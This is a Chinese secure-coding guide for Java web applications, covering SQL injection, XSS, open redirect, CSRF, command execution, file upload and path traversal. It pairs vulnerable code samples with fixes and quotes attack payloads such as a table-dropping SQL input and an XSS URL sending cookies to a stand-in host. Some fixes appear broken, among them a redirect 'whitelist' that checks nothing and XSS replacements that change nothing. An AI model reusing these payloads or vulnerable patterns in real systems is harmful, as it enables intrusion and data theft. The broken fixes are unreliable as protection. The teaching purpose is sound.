一 SQL注入

1 风险描述

由于用户的输入,也是SQL语句的一部分,所以攻击者可以利用这部分可以控制的内容,注入自己定义的语句,改变SQL语句执行逻辑,让数据库执行任意自己需要的指令。

通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。

2 安全风险

  1. 业务数据库数据泄露
  2. 业务中断
  3. 业务应用服务器被控制

3 错误编码

如username是通过get方式获取到的值赋值给 username,username是String类型,如果不对username进行验证的话会产生安全漏洞:

String sql="select id,name,pwd,role from user where name =’" + name + "’";

Mybatis持久层框架错误编码:

<select id="selectByNameAndPassword" parameterType="java.util.Map" resultMap="BaseResultMap">
select id,name,pwd,role from user where name = ${name,jdbcType=VARCHAR}
</select>

在mybatis中$将传入的数据直接显示生成在sql中。如:

where name=${name}

如果传入的值是111,那么解析成sql时的值为

where name=111

并不会转换为对应的字符串。

如果传入的值是 0;drop table user;,则解析成的sql为:

select id,name,pwd,role from user where name=0;drop table user;

4 安全编码

1) 主要处理机制
  1. 使用静预编译语句集,它内置了处理Sql能力,只要使用它的setString方法传值即可:
String sql="select id,name,pwd,role from user where name=?"
PreparedStatement preState = conn.prepareStatement(sql);
preState.setString(1, name);
ResultSet rs = preState.executeQuery();

mybatis中使用#,#将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号,调整代码为:

<select id="selectByNameAndPassword" 
parameterType="java.util.Map"  resultMap="BaseResultMap">
select id,name,pwd,role from user where name = #{name,jdbcType=VARCHAR}
</select>
  1. 使用完成必要任务所需的最低特权来运行代码。
  2. order by 语句: 检验列名的有效性。
2) 辅助处理机制:

针对用户输入进行安全过滤,验证数据类型,数据长度,数据内容。

  1. 整型:正则判断;
  2. 字符型:
    结合环境,如长度不超过5,通过text.length()判断变量长度;
    仅存在字母和数字,通过正则判断变量是否正确;
    仅存在字符和数字或有限特殊字符,可使用白名单正则匹配。
  3. 富文本: 通用过滤函数,建议使用参数化。
3) 关于过滤可编写通用函数:

强制过滤字符:

  1. '(单引号)
  2. "(引号)
  3. '(反斜线转义单引号)
  4. "(反斜杠转义引号)
  5. )(结束括号)
  6. ;(分号)

二 跨站脚本攻击(XSS)

1 风险描述

生成HTML过程中,HTML语法中含特殊含义的字符(元字符)没有被正确处理,导致输入恶意HTML语句或javascript脚本在页面中执行。

必须消除元字符的特殊含义,转化为普通字符,需要用到转义。

风险包含两种主要类型:

  1. 反射型跨站:
    攻击者会通过社会工程学手段,发送一个URL连接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。
    必须诱导用户点击。
  2. 存储型跨站:
    攻击者利用web应用程序提供的录入或修改数据功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本,所有浏览者都会受到攻击。
    关键点攻击代码存储在服务器端。

2 安全风险

  1. 盗取用户cookie,伪造用户身份登录。
  2. 控制用户浏览器。
  3. 结合浏览器及其插件漏洞,下载病毒木马到浏览者的计算机上执行。
  4. 衍生URL跳转漏洞。
  5. 官方网站出现钓鱼页面。
  6. 蠕虫攻击

2 错误编码

攻击者可能会利用类似以下情况的攻击:

http://www.csdn.com?id=<script>window.open("http://xxx.com?cookie="+document.cookie)</script>

直接输出get方式获取id值,未进行有效校验处理。

<%
   request.setCharacterEncoding("UTF-8");
   String id = request.getParameter("id");
   out.print(id);
 %>

4 安全编码

确保用户输入仅包含有效值。

1)结合具体环境,验证用户输入的数据类型/数据长度/数据内容。
  1. 整型: Int等强制转换变量类型
  2. 长度: text.length()判断变量长度
  3. 内容: 邮箱匹配邮箱取值规则A-Za-Z0-9.@-_
2)依据数据出现在html不同位置,转义或过滤。
  1. 数据在html标签之间或在普通属性值(value,width等):
    数据库保存时如对<>“‘&符号无完整性要求,则输入时使用HtmlUtils.htmlEscape()函数对变量过滤处理。
    数据库保存时如对<>”’&符号有完整性要求,则在输出时使用HtmlUtils.htmlEscape()函数对变量过滤。
  2. 数据在script标签中:
    整型变量使用int;
    非整型变量使用HtmlUtils.htmlEscape()函数处理。
  3. 数据在html标签on*事件属性中:
    使用HtmlUtils.htmlEscape进行过滤
    数据在html标签中src属性中:
    过滤javascript伪协议, javascript:alert(5)。
    校验数据绝对路径或相对路径格式: http://xxx/xxx或/xxx/xxx。
  4. 富文本编辑器,设置两处白名单:
    对所有可以使用的html标签做白名单验证,其他全部使用HtmlUtils.htmlEscape()标签过滤。
    对白名单html标签可使用属性做白名单验证,如src,width等。
3)对cookie中关键字段使用httponly保护
StringBuilder buffer = new StringBuilder();
buffer.append(name).append("=").append(value).append(";");
buffer.append("HTTPOnly;");
response.addHeader("Set-Cookie", buffer.toString());
4)通用过滤函数

可以拒绝基本跨站点脚本编制变体的正则表达式可能如下:

^([^<]|\<[^a-zA-Z])*[<]?$

拒绝上述所有字符的一般正则表达式可能如下:

^([^\<\>\"\'\%\;\)\(\&\+]*)$

建议过滤字符:

  1. <>(尖括号)
  2. "(引号)
  3. '(单引号)
  4. %(百分比符号)
  5. ;(分号)
  6. ()(括号)
  7. &(& 符号)
  8. +(加号)
  9. CR(回车符,ASCII 0x0d)
  10. LF(换行,ASCII 0x0a)
5)Springboot防止XSS漏洞攻击解决办法
@WebFilter(filterName="XSSFilter", urlPatterns="/*")
public class XSSFilter implements Filter {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) servletRequest), servletResponse);
    }
}


public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        if (value != null) {
            return cleanXSS(value);
        }
        return null;
    }
 
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        if (value == null)
            return null;
        return cleanXSS(value);
    }
 
    private static String cleanXSS(String value) {
        value = value.replaceAll("<", "<").replaceAll(">", ">");
        value = value.replaceAll("%3C", "<").replaceAll("%3E", ">");
        value = value.replaceAll("\\(", "(").replaceAll("\\)", ")");
        value = value.replaceAll("%28", "(").replaceAll("%29", ")");
        value = value.replaceAll("'", "'");
        value = value.replaceAll("eval\\((.*)\\)", "");
        value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
        value = value.replaceAll("script", "");
        return value;
    }
}

三 URL重定向

1 风险描述

URL重定向功能中对重定向域未作判断,导致可以重定向至任意url。
常用来做钓鱼攻击。

2 安全风险

如果站点下的某个web应用程序存在这个漏洞,恶意攻击者可以发送给用户一个站点的链接,当用户打开后,却来到钓鱼网站页面,将会导致用户被钓鱼攻击,账号被盗,或账号相关财产被盗。

3 错误编码

攻击者可能使用代码:

后端接收前端传入的参数直接跳转打开:

@RequestMapping("redirect") 
PublicModelAndView redirect(HttpServletRequest req, HttpServletResponse resp) throws Exception {
      String url =req.getParameter("url");
      return new ModelAndView(url);
}

4 安全编码

1)跳转域数量较少的情况可使用白名单验证。
@RequestMapping("redirect") 
PublicModelAndView redirect(HttpServletRequest req, HttpServletResponse resp) throws Exception {
      String url =req.getParameter("url");
      //增加白名单判断处理,有风险的直接返回错误
      return new ModelAndView(url);
}
2)参照token设置,添加一个用户不可控的随机值参数.如果验证成功则跳转,验证失败则进行跳转提示。
  1. 当用户访问需要生成跳转URL的页面时,首先生成随机token,并放入cookie。
  2. 在显示连接的页面上生成URL,在URL参数中加入token。
  3. 应用程序在跳转前,判断token是否和cookie中的token一致,如果不一致,就判定为URL跳转攻击。
3)如果在javascript中做页面跳转,需要判断域名白名单后,才能跳转。

四 跨站点请求伪造(CSRF)

1 风险描述

Web应用程序在处理用户操作时未进行用户身份验证,使提交的数据内容和请求可预测并重放,恶意用户通过构造代码或者表单诱使用户发出攻击者需要的请求。

2 安全风险

劫持他人账户执行私有敏感操作。
如:银行转账、修改密码、发布信息

3 错误编码

提交关键操作的表单处,未使用二次验证或token验证
例如:用户修改密码不要求再次填写原密码。

4 安全编码

1)对重要操作使用二次验证方式(使用验证码或动态口令)
2)设置随机数token使用户提交参数不可预见。
  1. 在用户登陆时,设置一个CSRF的随机TOKEN,同时种植在用户的cookie中,当用户浏览器关闭、或用户再次登录、或退出时,清除token。
  2. 在表单中,生成一个隐藏域,它的值就是COOKIE中随机TOKEN。
  3. 表单被提交后,就可以在接收用户请求的web应用中,判断表单中的TOKEN值是否和用户COOKIE中的TOKEN值一致,如果不一致或没有这个值,就判断为CSRF攻击,同时记录攻击日志
3)SpringBoot配置CSRF过滤器。
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throws IOException, ServletException {
	HttpServletRequest request = (HttpServletRequest) servletRequest;

	// 不启用或者已忽略的URL不拦截
	if (!enable || isExcludeUrl(request.getServletPath())) {
		filterChain.doFilter(servletRequest, servletResponse);
		return;
	}

	String referer = request.getHeader("Referer");
	String serverName = request.getServerName();

	// 判断是否存在外链请求本站
	if (null != referer && referer.indexOf(serverName) < 0) {
		log.error("CSRF过滤器 => 服务器:{} => 当前域名:{}", serverName, referer);
		servletResponse.setContentType("text/html; charset=utf-8");
		servletResponse.getWriter().write("系统不支持当前域名的访问!");
	} else {
		filterChain.doFilter(servletRequest, servletResponse);
	}
}

五 任意代码执行

1 风险描述

编写源码时没有针对代码中可执行的特殊函数入口做过滤,导致恶意用户可构造输入,提交服务器端执行。

2 安全风险

服务器可执行任意用户输入命令导致以下风险:

  1. 业务服务器系统控制
  2. 内网入侵跳板
  3. 业务中断
  4. 业务数据泄露

3 错误编码

cmd参数没有有效过滤,导致可执行任意系统命令

Process p = Runtime.getRuntime().exec(cmd);

4 安全编码

1)尽可能的不去使用敏感函数。
2)如必须使用敏感函数,必须使用白名单限制可执行语句。
3)如管理后台存在敏感函数相关功能,必须限制来源ip
4)精确匹配客户端输入数据
5)清清理输入以排除对执行操作系统命令有意义的符号:| & ; .

六 任意文件上传

1 风险描述

Web系统上传功能中对文件类型检测不严格,导致攻击者直接上传恶意文件或绕过限制上传文件。

2 漏洞危害

服务器可执行任意用户输入命令导致以下风险:

  1. 业务服务器被控制
  2. 业务中断
  3. 业务数据泄露
  4. 内网入侵跳板
  5. 大文件占用磁盘资源

3 错误编码

File参数未经过有效处理:

  1. 未随机化命名:以用户上传文件名存储。
  2. 服务器端无验证文件类型机制。
  3. 未判断文件大小。
@RequestMapping("/upload")
@ResponseBody
public String handleFileUpload(@RequestParam("file") MultipartFile file) {
	  // 获取文件名
	  String fileName = file.getOriginalFilename();
	  // 获取文件的后缀名
	  String suffixName = fileName.substring(fileName.lastIndexOf("."));
	  // 文件上传后的路径
	  String filePath = "D://";
	  File dest = new File(filePath + fileName);
	  // 检测是否存在目录
	  if (!dest.getParentFile().exists()) {
		  dest.getParentFile().mkdirs();
	  }
	  try {
		  file.transferTo(dest);
		  return "上传成功";
	  } catch (IllegalStateException e) {
		  e.printStackTrace();
	  } catch (IOException e) {
	  e.printStackTrace();
	  }
	  return "上传失败";
}

4 安全编码

1)尽可能的不去使用敏感函数
2)客户端 javascript 检测 (通常为检测文件扩展名)
3)服务端 MIME 类型检测 (检测 Content-Type内容)
4)服务端目录路径检测 (检测跟 path 参数相关的内容)

最佳实践:自定义用户上传文件名为随机数字值。
例:上传文件名:a.aspx%00.jpg ----> 12345678.jpg。

5)服务端文件扩展名检测 (检测跟文件 extension 相关的内容)

最佳实践:白名单列表检测[jpg, png, gif]等。
注:黑名单方式极易被绕过,应弃用。

6)如文件不需要直接通过http请求访问,将文件上传到web目录外且上传文件路径客户端不可控,请求响应包中不包含上传文件路径。
7)文件上传时候限制文件大小

七 任意文件下载

1 风险描述

在进行文件下载操作时,文件名及路径由客户端传入的参数控制,并且未进行有效过滤,导致用户可恶意下载任意文件。

2 安全风险

  1. 浏览Web服务器中的敏感文件(系统配置等)。
  2. 程序源码泄露导致更多的漏洞被发现。

3 错误编码

攻击者可能使用代码:

filename参数filename没有经过任何有效过滤,导致可下载任意文件。

try{
File file=new File(path);
String filename=file.getName();
String ext=filename.substring(filename.lastIndexOf(".")+1).toUpperCase();
InputStream fis=new BufferedInputStream(new FileInputStream(path));
byte[]buffer=new byte[fis.available()];
fis.read(buffer);
fis.close();
response.reset();
response.addHeader("Content-Disposition","attachment;filename="+new String(filename.getBytes()));
response.addHeader("Content-Length",""+file.length());
OutputStream toClient=new BufferedOutputStream(response.getOutputStream());
response.setContentType("application/octet-stream");
toClient.write(buffer);
toClient.flush();
toClient.close();
}catch(IOException ex){
        ex.printStackTrace();
}
return response;

4 安全编码

1)常规exe.doc.rar等格式文件直接通过http请求下载,无需使用下载功能。
2)需下载文件数量较少时,可使用白名单验证。
3)对需下载文件使用统一命名格式,如md5,使用正则匹配固定文件名格式。
4)对需下载文件路径入库,通过查询id获取路径形式操作
5)用户输入过滤: 输入不包含… /

八 任意文件读取

1 风险描述

在进行文件读取操作时,文件名及路径由客户端传入的参数控制,并且未进行有效过滤,导致用户可恶意读取任意文件。

2 安全风险

  1. 浏览Web服务器中的敏感文件(系统配置等)。
  2. 程序源码泄露导致更多的漏洞被发现。

3 错误编码

攻击者可能使用代码:

filename参数filename没有经过任何有效过滤,导致可读取任意文件。

BufferedReader in = new BufferedReader(new FileReader("filename")); 
String str; 
while ((str = in.readLine()) != null) { 
	System.out.println(str); 
}

4 安全编码

1)需读取文件数量较少时,可使用白名单验证。
2)对需读取文件使用统一命名格式,如md5,使用正则匹配固定文件名格式。
3)对需读取文件路径入库,通过查询id获取路径形式操作。
4)用户输入过滤: 输入不包含… /

九 敏感信息泄露

1 风险描述

开发人员编码中为测试方便,代码中开启错误回显/日志记录与web目录,导致关键信息泄露。

2 安全风险

错误回显中涉及WebServer配置相关信息;程序文件绝对路径;数据库表名字段名等敏感信息,为恶意用户攻击提供信息支撑。

3 错误实例

  1. 未自定义错误页面。
  2. 注释包含敏感信息。
  3. 日志存储在web目录中。

4 安全编码

1)Log日志禁止保存在web目录

如有查看log需求,可新开虚拟主机配置为内网访问并增加权限控制。

2)配置友好错误界面,重定向所有程序异常至自定义错误界面。

界面不包含任何报错信息。

3)代码注释及请求响应中不应包含以下内容:
  1. 业务敏感数据
  2. 用户密码
  3. 私有信息:内网IP,开发人员
  4. 服务器相关信息:web容器版本,文件绝对路径,数据库信息等

十 敏感信息明文传输

1 风险描述

诸如用户名、密码和信用卡号之类的敏感输入字段未经加密即进行了传递。

2 安全风险

任何以明文传给服务器的信息都可能被窃,稍后可用来电子欺骗身份或伪装用户。
此外,若干隐私法规指出,用户凭证之类的敏感信息要始终以加密的方式发送到 Web 站点。

3 错误实例

登陆/服务订购等包含敏感数据的请求未使用加密传输。

4 安全编码

确保敏感信息,例如:用户名、姓名、密码、社保号码、信用卡号、驾照号码、电子邮件、手机电话等始终以加密方式发送到服务器。

十一 管理界面暴露

1 风险描述

管理功能通常包含敏感操作及业务维护功能,使用者均为企业员工,控制访问来源可有效减少风险。

2 安全风险

恶意用户可能通过暴力破解,撞库攻击,社工手段获取管理员用户及密码,导致管理功能被滥用。

3 错误实例

管理功能未限制访问来源。

4 安全编码

1)白名单限制可访问管理功能IP;
2)白名单可限制为:企业内网IP、指定IP地址。